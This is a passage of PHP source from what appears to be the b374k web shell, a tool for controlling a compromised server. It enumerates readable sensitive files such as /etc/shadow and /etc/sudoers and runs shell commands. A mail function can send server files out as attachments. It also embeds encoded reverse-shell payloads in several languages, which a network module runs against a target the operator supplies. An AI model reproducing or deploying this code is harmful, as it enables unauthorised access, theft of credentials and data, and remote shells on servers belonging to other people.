function info_getinfo(){
$res = "";
// server misc info
$res .= "Server Info
";
$res .= "";
if(is_win()){
foreach (range("A", "Z") as $letter){
if(is_readable($letter.":\\")){
$drive = $letter.":";
$res .= "drive ".$drive." ".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))." ";
}
}
}
else $res .= "root partition ".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))." ";
$res .= "php ".phpversion()." ";
$access = array("python"=>"python -V",
"perl"=>"perl -e \"print \$]\"",
"python"=>"python -V",
"ruby"=>"ruby -v",
"node"=>"node -v",
"nodejs"=>"nodejs -v",
"gcc"=>"gcc -dumpversion",
"java"=>"java -version",
"javac"=>"javac -version"
);
foreach($access as $k=>$v){
$version = execute($v);
$version = explode("\n", $version);
if($version[0]) $version = $version[0];
else $version = "?";
$res .= "".$k." ".$version." ";
}
if(!is_win()){
$interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($interesting as $f){
if(@is_file($f) && @is_readable($f)) $res .= "".$f." ".$f." is readable ";
}
}
$res .= "
";
if(!is_win()){
// cpu info
if($i_buff=trim(read_file("/proc/cpuinfo"))){
$res .= "CPU Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
foreach($i_buffs as $i_buffss){
$i_buffss = trim($i_buffss);
if($i_buffss!=""){
$i_buffsss = explode("\n", $i_buffss);
$res .= "
";
foreach($i_buffsss as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
}
$res .= "
";
}
}
$res .= "
";
}
// mem info
if($i_buff=trim(read_file("/proc/meminfo"))){
$res .= "Memory Info
";
$i_buffs = explode("\n", $i_buff);
$res .= "";
foreach($i_buffs as $i){
$i = trim($i);
if($i!=""){
$ii = explode(":",$i);
if(count($ii)==2) $res .= "".$ii[0]." ".$ii[1]." ";
}
else $res .= "
";
}
// partition
if($i_buff=trim(read_file("/proc/partitions"))){
$i_buff = preg_replace("/\ +/", " ", $i_buff);
$res .= "Partitions Info
";
$res .= "";
$i_buffs = explode("\n\n", $i_buff);
$res .= "
";
$i_head = explode(" ", $i_buffs[0]);
foreach($i_head as $h) $res .= "".$h." ";
$res .= " ";
$i_buffss = explode("\n", $i_buffs[1]);
foreach($i_buffss as $i_b){
$i_row = explode(" ", trim($i_b));
$res .= "";
foreach($i_row as $r) $res .= "".$r." ";
$res .= " ";
}
$res .= "
";
$res .= "
";
}
}
$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($phpinfo as $p=>$i){
$res .= "".$p."
";
ob_start();
eval("phpinfo(".$i.");");
$b = ob_get_contents();
ob_end_clean();
if(preg_match("/(.*?)<\/body>/is", $b, $r)){
$body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$body = str_replace("(.*?)<\/tr>/", "", $body);
$body = preg_replace("//", "", $body);
$body = preg_replace("/ /", "", $body);
$res .= "".$body."
";
}
}
$res .= "refresh
";
return $res;
}
}
if(isset($p['infoRefresh'])){
output(info_getinfo());
}
$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
";
if(!function_exists('send_email')){
function send_email($from, $to, $subject, $msg, $attachment){
$headers = "MIME-Version: 1.0\r\nFrom: ".$from."\r\nReply-To: ".$from."\r\n";
$rand = md5(time());
$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
$headers .= $msg."\r\n\r\n";
if(count($attachment)>0){
foreach($attachment as $file){
if(is_file($file)){
$content = chunk_split(base64_encode(read_file($file)));
$headers .= "--".$rand."\r\n";
$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n";
$headers .= "Content-Disposition: attachment\r\n\r\n";
$headers .= $content."\r\n\r\n";
}
}
}
$headers .= "--".$rand."--\r\n";
if(@mail($to, $subject, "", $headers)) return true;
return false;
}
}
if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
$mailFrom = trim($p['mailFrom']);
$mailTo = trim($p['mailTo']);
$mailSubject = trim($p['mailSubject']);
$mailContent = trim($p['mailContent']);
$mailAttachment = trim($p['mailAttachment']);
$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
if(empty($mailTo)) output("Please specify at least one recipient");
if(empty($mailFrom)) $mailFrom = "anonymous@anonymous.com";
foreach($mailAttachment as $file){
$file = trim($file);
if(empty($file)) continue;
if(!is_file($file)) output("No such file : ".$file);
}
if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($to));
output("Failed to send mail");
}
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "executable ":"";
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "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";
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
";
if(isset($p['rsLang']) && isset($p['rsArgs'])){
$rsLang = $p['rsLang'];
$rsArgs = $p['rsArgs'];
$res = "";
if($rsLang=="php"){
$code = get_resource("rs_".$rsLang);
if($code!==false){
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
$res = eval_go($rsLang, $code, "", "");
}
}
else{
$code = get_resource("rs_".$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, "", $rsArgs);
}
}
if($res===false) $res == "error";
output(html_safe($res));
}
